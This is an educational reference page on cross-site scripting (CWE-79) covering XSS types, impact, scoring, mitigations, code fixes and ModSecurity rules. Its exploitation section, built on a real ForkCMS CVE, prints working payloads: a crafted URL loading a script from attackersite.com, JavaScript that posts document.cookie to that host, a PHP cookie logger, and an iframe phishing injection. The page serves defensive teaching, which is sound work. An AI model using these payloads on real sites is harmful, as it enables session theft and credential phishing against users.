CWE Glossary
- CWE-22: Path Traversal
- CWE-78: OS Command Injection
- CWE-79: Cross-Site Scripting
- CWE-89: SQL Injection
- CWE-90: LDAP Injection
- CWE-91: XML Injection
- CWE-94: Code Injection
- CWE-98: PHP File Inclusion
- CWE-113: HTTP Response Splitting
- CWE-119: Buffer Errors
- CWE-130: Improper Handling of Length Parameter Inconsistency
- CWE-193: Off-by-one Error
- CWE-200: Information Exposure
- CWE-211: Information Exposure Through Externally-Generated Error Message
- CWE-236: Improper Handling of Undefined Parameters
- CWE-276: Incorrect Default Permissions
- CWE-284: Improper Access Control
- CWE-285: Improper Authorization
- CWE-287: Improper Authentication
- CWE-297: Improper Validation of Certificate with Host Mismatch
- CWE-306: Missing Authentication for Critical Function
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-352: Cross-Site Request Forgery
- CWE-384: Session Fixation
- CWE-427: Uncontrolled Search Path Element
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-476: NULL Pointer Dereference
- CWE-521: Weak Password Requirements
- CWE-601: Open Redirect
- CWE-611: Improper Restriction of XML External Entity Reference ('XXE')
- CWE-613: Insufficient Session Expiration
- CWE-618: Exposed Unsafe ActiveX Method
- CWE-671: Lack of Administrator Control over Security
- CWE-798: Use of Hard-coded Credentials
- CWE-799: Improper Control of Interaction Frequency
- CWE-822: Untrusted Pointer Dereference
- CWE-835: Infinite Loop
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-942: Overly Permissive Cross-domain Whitelist
CWE is a trademark of the MITRE Corporation.
Cross-Site Scripting – XSS [CWE-79]
Cross-Site scripting or XSS is a weakness that is caused by improper neutralization of input during web page generation.
Created: September 11, 2012
Latest Update: December 29, 2020
Table of Content
- Description
- Potential impact
- Attack patterns
- Affected software
- Exploitation Examples
- Severity and CVSS Scoring
- Mitigations
- Vulnerability Remediation Techniques and Examples
- Common Fix Errors and Bypasses
- References
- Related Security Advisories
Want to have an in-depth understanding of all modern aspects of Cross-Site Scripting – XSS [CWE-79]? Read carefully this article and bookmark it to get back later, we regularly update this page.
1. Description
The weakness occurs when software does not perform or incorrectly performs neutralization of input data before displaying it in user's browser. As a result, an attacker is able to inject and execute arbitrary HTML and script code in user's browser in context of a vulnerable website. Based on weakness conditions it is common to divide cross-site scripting errors into 3 main types: reflected XSS, stored XSS and DOM-based XSS.
1.1 Reflected XSS (Non-persistent XSS)
This type describes an error when application reads input data from the HTTP request and reflects it back in HTTP response. The malicious content is never stored in the application and can be viewed only when user follows a specially crafted link.
1.2 Stored XSS (persistent XSS)
This type describes an error when application reads input data from the HTTP request and stores it in database, logs, cached pages, etc. Malicious code can be later executed in user's browser when user visits a vulnerable page.
1.3 DOM-based XSS
This type describes an error within the DOM model of user's browser. That means that injection occurs inside the client script that accepts and return back data from user's browser.
1.4 uXSS (Universal XSS)
A variant of XSS that can be triggered by leveraging flaws in browsers and browser plugins, instead of within a web application. This could potentially lead to all current sessions within the web browser being affected, not just a single specific session.
1.5 Self-XSS
Self-XSS is a variant of Cross-site scripting vulnerability, when very close user interaction is required. For example, the victim should insert a specially crafted input into HTML form in order to execute JavaScript code.
2. Potential impact
After successful attack a malicious user can perform a variety of actions: steal user's cookies, modify webpage contents, perform operations with the site within user's session (XSS proxy).
A non-exhaustive list of potential attack avenues is listed below:
- Cookie theft;
- Webpage defacement;
- iFrame overlay to facilitate phishing, credential theft;
- Hidden iFrame to load malicious JavaScript, to attempt exploits on the victim machine;
- Redirection to other websites, to facilitate malware delivery;
- Injection of malicious JavaScript, turning compromised site into a drive-by download site.
3. Attack patterns
The following attack patterns can leverage cross-site scripting vulnerability according to CAPEC (Common Attack Pattern Enumeration and Classification) classification:
- CAPEC-18: Embedding Scripts in Nonscript Elements
- CAPEC-19: Embedding Scripts within Scripts
- CAPEC-32: Embedding Scripts in HTTP Query Strings
- CAPEC-63: Simple Script Injection
- CAPEC-85: Client Network Footprinting (using AJAX/XSS)
- CAPEC-86: Embedding Script (XSS ) in HTTP Headers
- CAPEC-91: XSS in IMG Tags
- CAPEC-106: Cross Site Scripting through Log Files
- CAPEC-198: Cross-Site Scripting in Error Pages
- CAPEC-199: Cross-Site Scripting Using Alternate Syntax
- CAPEC-209: Cross-Site Scripting Using MIME Type Mismatch
- CAPEC-232: Exploitation of Privilege/Trust
- CAPEC-243: Cross-Site Scripting in Attributes
- CAPEC-244: Cross-Site Scripting via Encoded URI Schemes
- CAPEC-245: Cross-Site Scripting Using Doubled Characters, e.g. %3C%3Cscript
- CAPEC-246: Cross-Site Scripting Using Flash
- CAPEC-247: Cross-Site Scripting with Masking through Invalid Characters in Identifiers
Alternative WASC Threat Classification describes Cross-site Scripting as an attack under WASC-8.
4. Affected software
Software that uses HTML to display data is potentially vulnerable to this weakness: web applications, browsers, ActiveX controls, browser plugins, email and RSS clients, frontends for hardware solutions, etc.
5. Exploitation Examples
We will use vulnerability in ForkCMS - HTB23075 security advisory (CVE-2012-1188) as an example of this weakness and show two different attacks against the vulnerable application.
Cookie theft
A malicious user can steal cookies and use them to gain access to the application. Successful exploitation requires that user, who is logged-in into the application, follows a specially crafted link to vulnerable website:
http://forkcms.local/private/en/error?type=%3Cscript%20src=http://attackersite.com/fork.js%3E%3C/script%3E
the resultant page looks as follows:
This means that the fork.js
script located at the attackersite.com
will be loaded and executed. The fork.js
script contains the following code:
- function post_to_url(path, params, method) {
- var form = document.createElement("form");
- form.setAttribute("method", method);
- form.setAttribute("action", path);
- var hiddenField = document.createElement("input");
- hiddenField.setAttribute("type", "hidden");
- hiddenField.setAttribute("name", "1");
- hiddenField.setAttribute("value", params);
- form.appendChild(hiddenField);
- document.body.appendChild(form);
- form.submit();
- }
- post_to_url("http://attackersite.com/fork.php", document.cookie, "post");
The above code sends HTTP POST request to file http://attackersite.com/fork.php
that logs all data and redirects the victim back to the original website. The fork.php
script contains the following code:
- <?php
- file_put_contents($_SERVER["DOCUMENT_ROOT"]."/fork.txt",$_POST,FILE_APPEND);
- file_put_contents($_SERVER["DOCUMENT_ROOT"]."/fork.txt","\r\n",FILE_APPEND);
- header("Location: http://forkcms.local/private/en/");
- exit;
- ?>
An attacker can use the received data to create cookies and gain access to the application. This can be achieved with any cookie editor plugin:
We used the Cookie Editor plugin for Firefox to create the necessary cookies. After that, we just visit the vulnerable website:
Phishing
Another exploitation example of this vulnerability uses some social engineering techniques to steal the administrator's password.
The following PoC changes the contents of this page:
http://forkcms.local/private/en/error?type=%3C/div%3E%3Cdiv%20style=%22color:white;font:75px%20arial;position:absolute;left:0;top:0;background:black;width:100%;height:888px; border:1px%20solid;z-index:1000%22%3E%3Ccenter%3EXSS%3C/div%3E
An attacker might also change some elements of the page and steal user credentials after tricking victim into following a specially crafted link:
http://forkcms.local/private/en/error?type=%3C/div%3E%3Ciframe%20src=%22http://www.attacker-site.com/file.html%22%20style=%22border=0;z-index:1000;position:absolute;left:0;top:0;height:100%;width:100%;%22%3E%3C/iframe%3E
A malicious user can create webpage, which looks identical to a legitimate one, and intercept potentially sensitive information:
As we can see, an "
iframe
" tag is loaded from an external domain attacker-site.com. The page looks the same as usual except the submit button, which sends data to a malicious domain, and an extremely long URL. The status bar with malicious website is left on purpose; it can be easily changed to arbitrary value. DOM-based cross-site scripting with JSON and Ajax
Another exploitation vector for cross-site scripting vulnerabilities is JSON/Ajax injection. Modern web applications widely use Ajax technology to display and update important data without reloading the page. In this example we will demonstrate DOM-based XSS against a bogus web application and show how easy it is to exploit these vulnerabilities.
Let's assume we have a live chat application which displays status of each contact in user's list. Users can use custom messages to display their status. The list of users and their statuses is constructed by a server-side script and passed to each chat member via a JSON object.
JSON object:
{"OnlineUsers": "4", "UserAndStatus": ["User1, Online", "User2, Online", "User3, Online", "User4, Busy"]}
JavaScript Code:
- var http_request = new XMLHttpRequest();
- var Contacts;
- http_request.open("GET", url, true);
- http_request.onreadystatechange = function ()
- {
- if (http_request.readyState == 4)
- {
- if (http_request.status == 200) {
- Contacts = eval("(" + http_request.responseText + ")");
- }
- http_request = null;
- }
- };
- http_request.send(null);
The JavaScript eval() function is essential for JSON data. In case of improper input validation it is very easy to exploit. For example, with custom user status it is possible to inject the following string into JSON object:
Busy"});alert("DOM based XSS");//
and execute alert()
function in browsers of every chat member.
6. Severity and CVSS Scoring
Cross-site scripting influences integrity and confidentiality of the data and requires some user interaction (user must visit a specially crafted page or follow a malicious link). It should be scored as follows:
6.1 [CVSS:3.0/AV:N/.AC:L/.PR:N/.UI:R/.S:C/.C:L/.I:L/.A:N] – Medium severity.
If user interaction is not needed (e.g. in case of a stored XSS on a publicly accessible page) we advise to score this weakness as UI:N:
7.2 [CVSS:3.0/AV:N/.AC:L/.PR:N/.UI:N/.S:C/.C:L/.I:L/.A:N] – High severity.
7. Mitigations
Cross-site scripting occurs when untrusted data is inserted into HTTP response. Despite all efforts of security community and top vendors this weakness is the most common problem for web applications. There are basic rules that should be followed to protect application from XSS:
Never insert untrusted input:
directly in the script:
This way it is impossible to sanitize data, because any input passed inside the script tag is treated as script by the browser.- <script>UNTRUSTED INPUT</script>
directly in CSS:
An attacker can use CSS to load and execute arbitrary script code in user's browser.- <style>UNTRUSTED INPUT</style>
in a tag name:
- <UNTRUSTED INPUT src="/images/…">
in an attribute name:
- <div UNTRUSTED INPUT …=123>
in an attribute value:
- <a href="UNTRUSTED INPUT"> (javascript:)
inside HTML comment:
Input in the above locations cannot be sanitized correctly and can be potentially used to perform cross-site scripting attacks.- <!-- UNTRUSTED INPUT -->
Directly into HTML page.
Inside javascript event.
Perform sanitation of input data before inserting it into the page content:
Any character that might be treated by the web browser as HTML content should be sanitized. The following table contains characters that should be escaped when handling untrusted input:
Character Replacement < < > > " " ' ' & & / /
Developers should use URL-encoding on input inserted into URL tags.
When untrusted input is inserted into script or event all quotation symbols and backslashes should be escaped. All properly escaped data within javascript code should be included into quotes.
When usage of untrusted input as strings or names within scripts or events is crucial for application design, this input should be sanitized and contain strictly letters and numbers.
These are general recommendations. Every case must be treated separately.
Use native API and additional software whenever possible:
PHP has native API that can help protect application from XSS attacks. Developers can use
htmlspecialchars()
orhtmlentities()
functions to deal with untrusted input. Microsoft web protection library is also a great set of .NET assemblies that should be used when developing applications in .NET.Always use preset character encoding of the displayed page:
Never rely on browser auto-select encoding functionality. An attacker might be able to bypass sanitation checks and perform successful XSS attacks if page encoding is not preset and user's browser is configured to use auto-select encoding.
8. Vulnerability Remediation Techniques and Examples
8.1 General recommendations for software developers
For usual output into HTML page:
PHP
- $param=htmlspecialchars($param, ENT_QUOTES);
Or perform direct replacement of dangerous symbols:
- $param=preg_replace("/[^a-z0-9]/i", "", $param);
PERL
- $param=encode_entities($param, "<>\"\'");
Or perform direct replacement of dangerous symbols:
- $param=~s/[^a-z0-9]//gi;
ASP.NET
- <asp:RegularExpressionValidator runat="server" id="ParamValidator" ControlToValidate="Param" ErrorMessage="Invalid input. You are allowed to enter characters and digits only" ValidationExpression="^[a-zA-Z0-9]" />
ColdFusion
- <cfscript>
- param=HTMLEditFormat(param);
- </cfscript>
Python
- cgi.escape(text, quote=True)
Most of the template engines like Genshi, Jinja2, Makooffer, etc. offer their own sanitation mechanism. It is advised to use them instead.
JAVA/JSP
- myString = myString.replaceAll("[^A-Za-z0-9]", "");
These are basic recommendations which could be ineffective depending on application's logic and injection location.
Caution: do not blindly copy-paste the above-mentioned solutions into your application code. In some cases this may result in incorrect behavior of the application or inconsistent patch. Carefully read the References or consult security specialists in case you are not sure how to patch a vulnerability.
8.2 Using Web Application Firewall (WAF)
Web Application Firewall can be an efficient solution to prevent vulnerability exploitation while you are developing or waiting for a security patch. We do not recommend using WAF as a long-term solution, neither as a replacement to properly developed security patch.
As an example, we will use an open source web application firewall ModSecurity developed by Trustwave. There are many rule sets for ModSecurity licensed under ASLv2 and widely distributed by security companies and organizations. These rule sets can be applied to cover all basic cases of vulnerabilities’ exploitation and can be used on production servers.
A majority of XSS attacks was covered in the modsecurity_crs_41_xss_attacks.conf rule set. However certain rules can introduce false positives and can be removed or modified.
Let's have a look at vulnerability in KrisonAV CMS described in HTB23150 (CVE-2013-2712). This is a great example of reflected XSS. We will create a rule that allows passing alphabetical symbols only via the “content” HTTP GET parameter to “/services/get_article.php” script:
SecRule REQUEST_FILENAME "/service/get_article.php" "chain,phase:2,rev:'2', ver:'HTBRIDGE /0.1',maturity:'9',accuracy:'7', t:none,ctl:auditLogParts=+E, block,msg:'XSS in KrisonAV CMS HTB23150',id:'1000000003',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',t:none,capture, tag:'HTBRIDGE/WEB_ATTACK/XSS',setvar:'tx.msg=%{rule.msg}'"
SecRule ARGS:content "!^([a-zA-Z]+)$"
Another vulnerability in Hero Framework described in security advisory HTB23149 (CVE-2013-2649) can be used to pass arbitrary base64-encoded JavaScript code to the application and execute it in user’s browser. The following rule will decode untrusted input and allow only alphabetical characters and spaces in error message:
SecRule ARGS:error "!^([a-zA-Z ]+)$" "phase:2,rev:'2',ver:'HTBRIDGE /0.1', maturity:'9',accuracy:'7',t:base64decode, ctl:auditLogParts=+E,block, msg:'XSS in Hero Framework HTB23149',id:'1000000004',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',capture,tag:'HTBRIDGE/WEB_ATTACK/XSS',setvar:'tx.msg=%{rule.msg}'"
As a temporary solution to block a known XSS attack vector you can use the following universal ModSecurity rule that allows only digits and letters in the vulnerable parameter <PARAM>: SecRule ARGS:<PARAM> !^([a-zA-Z0-9]+)$ "block,phase:2,msg:'Possible XSS attack'"
9. Common Fix Errors and Bypasses
A common approach is to implement blacklist filters that attempt to filter any potentially dangerous characters by searching for patterns. Due to the complex and dynamic nature of web scripting and browsers, there are a multitude of ways that a determined attacker can find an appropriate payload for a specific context.
A non-exhaustive list of typical examples of poorly implemented filters is shown below:
- Keyword filters, e.g. looking for the presence of 'alert', this can be encoded in many other ways, constructed by being concatenated together, by using mixed case, or by using a JavaScript function to create the string.
- The presence of the script tag, tags will be parsed in several malformed ways.
- Filtering all events that that with 'on', clever use of HTML and browser quirks can be employed to circumvent this, such as the use of control characters which get converted to spaces.
- Removing potentially malicious tags or keywords, this needs to be performed recursively, as an attacker can define multiple occurrences of the tag or keyword to fool the check.
- Quote escaping, implementing incorrectly can lead to backslashes being used to escape the quote and the corresponding backslash.
10. References
- XSS (Cross Site Scripting) Prevention Cheat Sheet [www.owasp.org]
- DOM based XSS Prevention Cheat Sheet [www.owasp.org]
- Microsoft Web Protection Library [wpl.codeplex.com]
- Future of XSS Defense [software-security.sans.org]
11. Cross-Site Scripting (XSS) Vulnerabilities, Exploits and Examples
- HTB23298: Multiple Vulnerabilities in CubeCart
- HTB23277: Reflected XSS in Ultimate Member WordPress Plugin
- HTB23276: Reflected XSS in Role Scoper WordPress Plugin
- HTB23274: Two Reflected XSS Vulnerabilities in Calls to Action WordPress plugin
- HTB23273: Reflected Cross-Site Scripting (XSS) in SourceBans
Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to ImmuniWeb is given.
↑ Back to Top